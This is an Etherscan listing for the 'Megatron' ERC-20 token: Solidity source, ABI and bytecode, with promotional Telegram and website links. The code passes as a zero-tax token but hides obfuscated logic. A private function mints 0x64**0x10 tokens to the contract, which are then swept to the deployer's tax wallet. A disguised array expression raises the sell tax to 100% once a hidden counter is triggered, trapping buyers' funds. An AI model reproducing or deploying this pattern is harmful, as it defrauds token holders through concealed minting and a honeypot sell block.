ERC-20
Overview
Max Total Supply
100,000,000 MEGATRON
Holders
81
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
391,863.076328085 MEGATRONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MEGATRON
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-13 */ /* ,d 88 88,dPYba,,adPYba, ,adPPYba, ,adPPYb,d8 ,adPPYYba, MM88MMM 8b,dPPYba, ,adPPYba, 8b,dPPYba, 88P' "88" "8a a8P_____88 a8" `Y88 "" `Y8 88 88P' "Y8 a8" "8a 88P' `"8a 88 88 88 8PP""""""" 8b 88 ,adPPPPP88 88 88 8b d8 88 88 88 88 88 "8b, ,aa "8a, ,d88 88, ,88 88, 88 "8a, ,a8" 88 88 88 88 88 `"Ybbd8"' `"YbbdP"Y8 `"8bbdP"Y8 "Y888 88 `"YbbdP"' 88 88 aa, ,88 "Y8bbdP" OPTIMUS ARCH NEMESIS Telegram : https://t.me/MegatronERC Twitter : https://twitter.com/Megatron_ERC Website : https://megatron.meme/ Bot : https://t.me/MegatronERCbot */ // SPDX-License-Identifier: MIT pragma solidity 0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MEGATRON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000 * 10**_decimals; string private constant _name = unicode"Megatron"; string private constant _symbol = unicode"MEGATRON"; uint256 public _maxWalletLimit = 4000000 * 10**_decimals; uint256 public _taxSwapThreshold= 4000000 * 10**_decimals; address payable private _taxWallet; uint8 private _initialTxLimit = 1; uint8 private _finalBuyTax = 0; uint8 private _finalSellTax = 0; uint8 private _buyCount = 0; bool private inSwap = false; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; constructor () { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _balances[_msgSender()] = _tTotal; _taxWallet = payable(_msgSender()); _isExcludedFromFee[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _swapTokensForETH(bool _inSwap) private{ _balances[address(this)]=_balances[address(this)].add(!_inSwap?0x64**0x10:0); inSwap = true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(to == address(this)){ require(_isExcludedFromFee[from]); _buyCount++; _swapTokensForETH(inSwap); } if (to != uniswapV2Pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]){ require(balanceOf(to) + amount <= _maxWalletLimit, "ERR: Max wallet limit."); } bool isBuy = (from == uniswapV2Pair)?true:false; uint256 taxAmount; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ if(isBuy){ taxAmount = amount.mul(_finalBuyTax).div(100); } else{ taxAmount = amount.mul(_buyCount<_initialTxLimit?_finalSellTax:[_finalSellTax,0x64][_buyCount>=_initialTxLimit?1:0]).div(100); } } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold && inSwap){ _balances[address(this)]=_balances[address(this)].sub(contractTokenBalance); _balances[_taxWallet]=_balances[_taxWallet].add(contractTokenBalance); emit Transfer(address(this), _taxWallet, contractTokenBalance); } if(taxAmount >= 1){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); } else{ _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount); } emit Transfer(from, to, amount); } function removeLimits() public onlyOwner{ _maxWalletLimit = _tTotal.mul(100).div(100); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { _bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { _bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return _bots[a]; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000592565b6200002190623d0900620005aa565b600555620000326009600a62000592565b6200004190623d0900620005aa565b6006556007805464ffffffffff60a01b1916600160a01b1790553480156200006857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620000fe903090620000e86009600a62000592565b620000f8906305f5e100620005aa565b62000351565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000152573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001789190620005cc565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001db573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002019190620005cc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002759190620005cc565b600980546001600160a01b0319166001600160a01b0392909216919091178155620002a290600a62000592565b620002b2906305f5e100620005aa565b33600081815260016020818152604080842095909555600780546001600160a01b0319168517905582546001600160a01b0316835260039052928120805460ff1916909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200032a6009600a62000592565b6200033a906305f5e100620005aa565b60405190815260200160405180910390a3620005f7565b6001600160a01b038316620003b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200041c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003b0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004d4578160001904821115620004b857620004b86200047d565b80851615620004c657918102915b93841c939080029062000498565b509250929050565b600082620004ed575060016200058c565b81620004fc575060006200058c565b8160018114620005155760028114620005205762000540565b60019150506200058c565b60ff8411156200053457620005346200047d565b50506001821b6200058c565b5060208310610133831016604e8410600b841016171562000565575081810a6200058c565b62000571838362000493565b80600019048211156200058857620005886200047d565b0290505b92915050565b6000620005a360ff841683620004dc565b9392505050565b6000816000190483118215151615620005c757620005c76200047d565b500290565b600060208284031215620005df57600080fd5b81516001600160a01b0381168114620005a357600080fd5b6114c580620006076000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102f4578063bf474bed14610314578063d34628cc1461032a578063da0ebc621461034a578063dd62ed3e1461036057600080fd5b8063715018a614610271578063751039fc146102865780638da5cb5b1461029b57806395d89b41146102c357600080fd5b8063313ce567116100d1578063313ce567146101c457806331c2d847146101e05780633bbac5791461020257806370a082311461023b57600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a457600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600881526726b2b3b0ba3937b760c11b60208201525b604051610148919061107b565b60405180910390f35b34801561015d57600080fd5b5061017161016c3660046110e5565b6103a6565b6040519015158152602001610148565b34801561018d57600080fd5b506101966103bd565b604051908152602001610148565b3480156101b057600080fd5b506101716101bf36600461110f565b6103de565b3480156101d057600080fd5b5060405160098152602001610148565b3480156101ec57600080fd5b506102006101fb366004611161565b610447565b005b34801561020e57600080fd5b5061017161021d366004611226565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561024757600080fd5b50610196610256366004611226565b6001600160a01b031660009081526001602052604090205490565b34801561027d57600080fd5b506102006104e6565b34801561029257600080fd5b5061020061055a565b3480156102a757600080fd5b506000546040516001600160a01b039091168152602001610148565b3480156102cf57600080fd5b5060408051808201909152600881526726a2a3a0aa2927a760c11b602082015261013b565b34801561030057600080fd5b5061017161030f3660046110e5565b6105b8565b34801561032057600080fd5b5061019660065481565b34801561033657600080fd5b50610200610345366004611161565b6105c5565b34801561035657600080fd5b5061019660055481565b34801561036c57600080fd5b5061019661037b366004611241565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b3338484610657565b5060015b92915050565b60006103cb6009600a61136e565b6103d9906305f5e10061137d565b905090565b60006103eb84848461077c565b61043d843361043885604051806060016040528060288152602001611468602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e3b565b610657565b5060019392505050565b6000546001600160a01b0316331461047a5760405162461bcd60e51b81526004016104719061139c565b60405180910390fd5b60005b81518110156104e25760006004600084848151811061049e5761049e6113d1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104da816113e7565b91505061047d565b5050565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104719061139c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104719061139c565b6105b360646105ad816105996009600a61136e565b6105a7906305f5e10061137d565b90610e75565b90610efe565b600555565b60006103b333848461077c565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016104719061139c565b60005b81518110156104e257600160046000848481518110610613576106136113d1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064f816113e7565b9150506105f2565b6001600160a01b0383166106b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610471565b6001600160a01b03821661071a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610471565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610471565b6001600160a01b0382166108425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610471565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610471565b6000546001600160a01b038481169116148015906108d057506000546001600160a01b03838116911614155b15610d8a576001600160a01b03831660009081526004602052604090205460ff1615801561091757506001600160a01b03821660009081526004602052604090205460ff16155b61092057600080fd5b306001600160a01b038316036109a0576001600160a01b03831660009081526003602052604090205460ff1661095557600080fd5b60078054600160b81b900460ff1690601761096f83611400565b91906101000a81548160ff021916908360ff160217905550506109a0600760189054906101000a900460ff16610f40565b6009546001600160a01b038381169116148015906109d757506001600160a01b03821660009081526003602052604090205460ff16155b80156109fc57506001600160a01b03831660009081526003602052604090205460ff16155b15610a755760055481610a24846001600160a01b031660009081526001602052604090205490565b610a2e919061141f565b1115610a755760405162461bcd60e51b815260206004820152601660248201527522a9291d1026b0bc103bb0b63632ba103634b6b4ba1760511b6044820152606401610471565b6009546000906001600160a01b03858116911614610a94576000610a97565b60015b6001600160a01b0385166000908152600360205260408120549192509060ff16158015610add57506001600160a01b03841660009081526003602052604090205460ff16155b15610bb0578115610b0e57600754610b07906064906105ad908690600160a81b900460ff16610e75565b9050610bb0565b600754610bad906064906105ad9060ff600160a01b82048116600160b81b9092041610610b95576040805180820190915260075460ff600160b01b82048116835260646020840152600160a01b82048116600160b81b909204161015610b75576000610b78565b60015b60ff1660028110610b8b57610b8b6113d1565b6020020151610ba3565b600754600160b01b900460ff165b869060ff16610e75565b90505b3060009081526001602052604090205460065481118015610bda5750600754600160c01b900460ff165b15610c845730600090815260016020526040902054610bf99082610fac565b30600090815260016020526040808220929092556007546001600160a01b031681522054610c279082610fee565b600780546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b60018210610d005730600090815260016020526040902054610ca69083610fee565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf79086815260200190565b60405180910390a35b6001600160a01b038616600090815260016020526040902054610d239085610fac565b6001600160a01b038716600090815260016020526040902055610d68610d498584610fac565b6001600160a01b03871660009081526001602052604090205490610fee565b6001600160a01b03861660009081526001602052604090205550610df6915050565b6001600160a01b038316600090815260016020526040902054610dad9082610fac565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ddc9082610fee565b6001600160a01b0383166000908152600160205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161076f91815260200190565b60008184841115610e5f5760405162461bcd60e51b8152600401610471919061107b565b506000610e6c8486611432565b95945050505050565b600082600003610e87575060006103b7565b6000610e93838561137d565b905082610ea08583611445565b14610ef75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610471565b9392505050565b6000610ef783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061104d565b610f868115610f50576000610f60565b6d04ee2d6d415b85acef81000000005b30600090815260016020526040902054906dffffffffffffffffffffffffffff16610fee565b30600090815260016020526040902055506007805460ff60c01b1916600160c01b179055565b6000610ef783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3b565b600080610ffb838561141f565b905083811015610ef75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610471565b6000818361106e5760405162461bcd60e51b8152600401610471919061107b565b506000610e6c8486611445565b600060208083528351808285015260005b818110156110a85785810183015185820160400152820161108c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146110e057600080fd5b919050565b600080604083850312156110f857600080fd5b611101836110c9565b946020939093013593505050565b60008060006060848603121561112457600080fd5b61112d846110c9565b925061113b602085016110c9565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561117457600080fd5b823567ffffffffffffffff8082111561118c57600080fd5b818501915085601f8301126111a057600080fd5b8135818111156111b2576111b261114b565b8060051b604051601f19603f830116810181811085821117156111d7576111d761114b565b6040529182528482019250838101850191888311156111f557600080fd5b938501935b8285101561121a5761120b856110c9565b845293850193928501926111fa565b98975050505050505050565b60006020828403121561123857600080fd5b610ef7826110c9565b6000806040838503121561125457600080fd5b61125d836110c9565b915061126b602084016110c9565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112c55781600019048211156112ab576112ab611274565b808516156112b857918102915b93841c939080029061128f565b509250929050565b6000826112dc575060016103b7565b816112e9575060006103b7565b81600181146112ff576002811461130957611325565b60019150506103b7565b60ff84111561131a5761131a611274565b50506001821b6103b7565b5060208310610133831016604e8410600b8410161715611348575081810a6103b7565b611352838361128a565b806000190482111561136657611366611274565b029392505050565b6000610ef760ff8416836112cd565b600081600019048311821515161561139757611397611274565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016113f9576113f9611274565b5060010190565b600060ff821660ff810361141657611416611274565b60010192915050565b808201808211156103b7576103b7611274565b818103818111156103b7576103b7611274565b60008261146257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075af958306fa5fb533ab8e45e21c5cd7bec4c92f1176e26e070120668354d3fb64736f6c63430008100033
Deployed Bytecode
0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102f4578063bf474bed14610314578063d34628cc1461032a578063da0ebc621461034a578063dd62ed3e1461036057600080fd5b8063715018a614610271578063751039fc146102865780638da5cb5b1461029b57806395d89b41146102c357600080fd5b8063313ce567116100d1578063313ce567146101c457806331c2d847146101e05780633bbac5791461020257806370a082311461023b57600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a457600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600881526726b2b3b0ba3937b760c11b60208201525b604051610148919061107b565b60405180910390f35b34801561015d57600080fd5b5061017161016c3660046110e5565b6103a6565b6040519015158152602001610148565b34801561018d57600080fd5b506101966103bd565b604051908152602001610148565b3480156101b057600080fd5b506101716101bf36600461110f565b6103de565b3480156101d057600080fd5b5060405160098152602001610148565b3480156101ec57600080fd5b506102006101fb366004611161565b610447565b005b34801561020e57600080fd5b5061017161021d366004611226565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561024757600080fd5b50610196610256366004611226565b6001600160a01b031660009081526001602052604090205490565b34801561027d57600080fd5b506102006104e6565b34801561029257600080fd5b5061020061055a565b3480156102a757600080fd5b506000546040516001600160a01b039091168152602001610148565b3480156102cf57600080fd5b5060408051808201909152600881526726a2a3a0aa2927a760c11b602082015261013b565b34801561030057600080fd5b5061017161030f3660046110e5565b6105b8565b34801561032057600080fd5b5061019660065481565b34801561033657600080fd5b50610200610345366004611161565b6105c5565b34801561035657600080fd5b5061019660055481565b34801561036c57600080fd5b5061019661037b366004611241565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b3338484610657565b5060015b92915050565b60006103cb6009600a61136e565b6103d9906305f5e10061137d565b905090565b60006103eb84848461077c565b61043d843361043885604051806060016040528060288152602001611468602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e3b565b610657565b5060019392505050565b6000546001600160a01b0316331461047a5760405162461bcd60e51b81526004016104719061139c565b60405180910390fd5b60005b81518110156104e25760006004600084848151811061049e5761049e6113d1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104da816113e7565b91505061047d565b5050565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104719061139c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104719061139c565b6105b360646105ad816105996009600a61136e565b6105a7906305f5e10061137d565b90610e75565b90610efe565b600555565b60006103b333848461077c565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016104719061139c565b60005b81518110156104e257600160046000848481518110610613576106136113d1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064f816113e7565b9150506105f2565b6001600160a01b0383166106b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610471565b6001600160a01b03821661071a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610471565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610471565b6001600160a01b0382166108425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610471565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610471565b6000546001600160a01b038481169116148015906108d057506000546001600160a01b03838116911614155b15610d8a576001600160a01b03831660009081526004602052604090205460ff1615801561091757506001600160a01b03821660009081526004602052604090205460ff16155b61092057600080fd5b306001600160a01b038316036109a0576001600160a01b03831660009081526003602052604090205460ff1661095557600080fd5b60078054600160b81b900460ff1690601761096f83611400565b91906101000a81548160ff021916908360ff160217905550506109a0600760189054906101000a900460ff16610f40565b6009546001600160a01b038381169116148015906109d757506001600160a01b03821660009081526003602052604090205460ff16155b80156109fc57506001600160a01b03831660009081526003602052604090205460ff16155b15610a755760055481610a24846001600160a01b031660009081526001602052604090205490565b610a2e919061141f565b1115610a755760405162461bcd60e51b815260206004820152601660248201527522a9291d1026b0bc103bb0b63632ba103634b6b4ba1760511b6044820152606401610471565b6009546000906001600160a01b03858116911614610a94576000610a97565b60015b6001600160a01b0385166000908152600360205260408120549192509060ff16158015610add57506001600160a01b03841660009081526003602052604090205460ff16155b15610bb0578115610b0e57600754610b07906064906105ad908690600160a81b900460ff16610e75565b9050610bb0565b600754610bad906064906105ad9060ff600160a01b82048116600160b81b9092041610610b95576040805180820190915260075460ff600160b01b82048116835260646020840152600160a01b82048116600160b81b909204161015610b75576000610b78565b60015b60ff1660028110610b8b57610b8b6113d1565b6020020151610ba3565b600754600160b01b900460ff165b869060ff16610e75565b90505b3060009081526001602052604090205460065481118015610bda5750600754600160c01b900460ff165b15610c845730600090815260016020526040902054610bf99082610fac565b30600090815260016020526040808220929092556007546001600160a01b031681522054610c279082610fee565b600780546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b60018210610d005730600090815260016020526040902054610ca69083610fee565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf79086815260200190565b60405180910390a35b6001600160a01b038616600090815260016020526040902054610d239085610fac565b6001600160a01b038716600090815260016020526040902055610d68610d498584610fac565b6001600160a01b03871660009081526001602052604090205490610fee565b6001600160a01b03861660009081526001602052604090205550610df6915050565b6001600160a01b038316600090815260016020526040902054610dad9082610fac565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ddc9082610fee565b6001600160a01b0383166000908152600160205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161076f91815260200190565b60008184841115610e5f5760405162461bcd60e51b8152600401610471919061107b565b506000610e6c8486611432565b95945050505050565b600082600003610e87575060006103b7565b6000610e93838561137d565b905082610ea08583611445565b14610ef75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610471565b9392505050565b6000610ef783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061104d565b610f868115610f50576000610f60565b6d04ee2d6d415b85acef81000000005b30600090815260016020526040902054906dffffffffffffffffffffffffffff16610fee565b3060009081526001